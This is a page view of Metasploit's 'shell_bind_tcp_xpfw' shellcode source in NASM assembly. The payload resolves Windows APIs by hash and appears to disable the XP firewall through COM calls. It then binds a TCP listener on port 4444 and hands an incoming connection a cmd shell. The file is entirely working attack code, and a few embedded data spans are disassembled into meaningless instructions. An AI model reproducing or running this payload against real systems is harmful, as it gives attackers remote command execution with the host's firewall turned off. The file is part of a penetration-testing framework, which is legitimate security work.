Matt Miller
699e013121
git-svn-id: file:///home/svn/framework3/trunk@4813 4d416f70-5f16-0410-b530-b9f4589650da
243 lines
3.2 KiB
NASM
243 lines
3.2 KiB
NASM
;
|
|
; Metasploit Framework
|
|
; http://www.metasploit.com
|
|
;
|
|
; Source for shell_bind_tcp_xpfw (single)
|
|
;
|
|
; Authors: Lin0xx <lin0xx@metasploit.com>
|
|
; Size : 529
|
|
;
|
|
|
|
call 0x5b
|
|
push ebx
|
|
push ebp
|
|
push esi
|
|
push edi
|
|
mov ebp,[esp+0x18]
|
|
mov eax,[ebp+0x3c]
|
|
mov edx,[ebp+eax+0x78]
|
|
add edx,ebp
|
|
mov ecx,[edx+0x18]
|
|
mov ebx,[edx+0x20]
|
|
add ebx,ebp
|
|
jecxz 0x52
|
|
dec ecx
|
|
mov esi,[ebx+ecx*4]
|
|
add esi,ebp
|
|
xor edi,edi
|
|
cld
|
|
xor eax,eax
|
|
lodsb
|
|
cmp al,ah
|
|
jz 0x37
|
|
ror edi,0xd
|
|
add edi,eax
|
|
jmp short 0x29
|
|
cmp edi,[esp+0x14]
|
|
jnz 0x1e
|
|
mov ebx,[edx+0x24]
|
|
add ebx,ebp
|
|
mov cx,[ebx+ecx*2]
|
|
mov ebx,[edx+0x1c]
|
|
add ebx,ebp
|
|
mov eax,[ebx+ecx*4]
|
|
add eax,ebp
|
|
jmp short 0x54
|
|
xor eax,eax
|
|
pop edi
|
|
pop esi
|
|
pop ebp
|
|
pop ebx
|
|
ret 0x8
|
|
pop esi
|
|
push byte +0x30
|
|
pop ecx
|
|
mov ebx,[fs:ecx]
|
|
mov ebx,[ebx+0xc]
|
|
mov ebx,[ebx+0x1c]
|
|
mov ebx,[ebx]
|
|
mov ebx,[ebx+0x8]
|
|
push ebx
|
|
push dword 0xec0e4e8e
|
|
call esi
|
|
mov edi,eax
|
|
sub esp,0x100
|
|
push edi
|
|
push esi
|
|
push ebx
|
|
mov ebp,esp
|
|
call 0xae
|
|
nop
|
|
add [eax],eax
|
|
add [esi+0xa4e71819],dh
|
|
sbb [eax-0x17],esi
|
|
in eax,0x49
|
|
xchg cl,[ecx-0x5c]
|
|
sbb dh,[eax-0x39]
|
|
movsb
|
|
lodsd
|
|
cs jmp 0xadf50a7c
|
|
retf
|
|
in eax,dx
|
|
cld
|
|
cmp edx,[edi+0x53]
|
|
xor bl,[edi+0x33]
|
|
xor al,[eax]
|
|
pop ebx
|
|
lea ecx,[ebx+0x20]
|
|
push ecx
|
|
call edi
|
|
mov edi,ebx
|
|
mov ebx,eax
|
|
lea esi,[ebp+0x14]
|
|
push byte +0x7
|
|
pop ecx
|
|
push ecx
|
|
push ebx
|
|
push dword [edi+ecx*4]
|
|
call near [ebp+0x4]
|
|
pop ecx
|
|
mov [esi+ecx*4],eax
|
|
loop 0xbf
|
|
sub esp,[edi]
|
|
push esp
|
|
push dword [edi]
|
|
call near [ebp+0x30]
|
|
xor eax,eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
push eax
|
|
inc eax
|
|
push eax
|
|
inc eax
|
|
push eax
|
|
call near [ebp+0x2c]
|
|
mov edi,eax
|
|
mov [ebp+0xc],edi
|
|
call 0xf2
|
|
dec edi
|
|
dec esp
|
|
inc ebp
|
|
xor esi,[edx]
|
|
add bh,bh
|
|
push ebp
|
|
or [ecx+0x1b6856c6],cl
|
|
push es
|
|
enter 0xff0d,0x55
|
|
add al,0x6a
|
|
add ch,[edx+0x0]
|
|
call eax
|
|
push esi
|
|
push dword 0x6e26c880
|
|
call near [ebp+0x4]
|
|
mov edi,eax
|
|
call 0x136
|
|
cmc
|
|
mov cl,[ecx+0x32cac4f7]
|
|
inc esi
|
|
mov [0xe506daec],al
|
|
adc [edx],ebx
|
|
repne inc edx
|
|
jmp 0x6e393178
|
|
fadd dword [eax-0x6c]
|
|
cmp bh,[ecx+0x9c0cc413]
|
|
aam 0x58
|
|
push eax
|
|
lea esi,[ebp-0x14]
|
|
push esi
|
|
push eax
|
|
push byte +0x1
|
|
push byte +0x0
|
|
add eax,byte +0x10
|
|
push eax
|
|
call edi
|
|
lea ecx,[ebp-0x20]
|
|
push ecx
|
|
mov edx,[ebp-0x14]
|
|
mov eax,[edx]
|
|
mov ecx,[ebp-0x14]
|
|
push ecx
|
|
mov edx,[eax+0x1c]
|
|
call edx
|
|
lea eax,[ebp-0x8]
|
|
push eax
|
|
mov ecx,[ebp-0x20]
|
|
mov edx,[ecx]
|
|
mov eax,[ebp-0x20]
|
|
push eax
|
|
mov ecx,[edx+0x1c]
|
|
call ecx
|
|
xor eax,eax
|
|
push eax
|
|
mov edx,[ebp-0x8]
|
|
mov eax,[edx]
|
|
mov ecx,[ebp-0x8]
|
|
push ecx
|
|
mov edx,[eax+0x24]
|
|
call edx
|
|
xor ebx,ebx
|
|
push ebx
|
|
push ebx
|
|
push dword 0x5c110002
|
|
mov eax,esp
|
|
push byte +0x10
|
|
push eax
|
|
mov edi,[ebp+0xc]
|
|
push edi
|
|
call near [ebp+0x24]
|
|
push ebx
|
|
push edi
|
|
call near [ebp+0x28]
|
|
push ebx
|
|
push esp
|
|
push edi
|
|
call near [ebp+0x20]
|
|
mov edi,eax
|
|
push dword 0x444d43
|
|
mov ebx,esp
|
|
xchg edi,edx
|
|
xor eax,eax
|
|
lea edi,[esp-0x54]
|
|
push byte +0x15
|
|
pop ecx
|
|
rep stosd
|
|
xchg edi,edx
|
|
sub esp,byte +0x54
|
|
mov byte [esp+0x10],0x44
|
|
mov word [esp+0x3c],0x101
|
|
mov [esp+0x48],edi
|
|
mov [esp+0x4c],edi
|
|
mov [esp+0x50],edi
|
|
lea eax,[esp+0x10]
|
|
push esp
|
|
push eax
|
|
push ecx
|
|
push ecx
|
|
push ecx
|
|
inc ecx
|
|
push ecx
|
|
dec ecx
|
|
push ecx
|
|
push ecx
|
|
push ebx
|
|
push ecx
|
|
push dword [ebp+0x0]
|
|
push dword 0x16b3fe72
|
|
call near [ebp+0x4]
|
|
call eax
|
|
mov esi,esp
|
|
push dword [ebp+0x0]
|
|
push dword 0xce05d9ad
|
|
call near [ebp+0x4]
|
|
mov ebx,eax
|
|
push byte -0x1
|
|
push dword [esi]
|
|
call ebx
|
|
push dword [ebp+0x0]
|
|
push dword 0x5f048af0
|
|
call near [ebp+0x4]
|
|
xor ebx,ebx
|
|
push ebx
|
|
call eax
|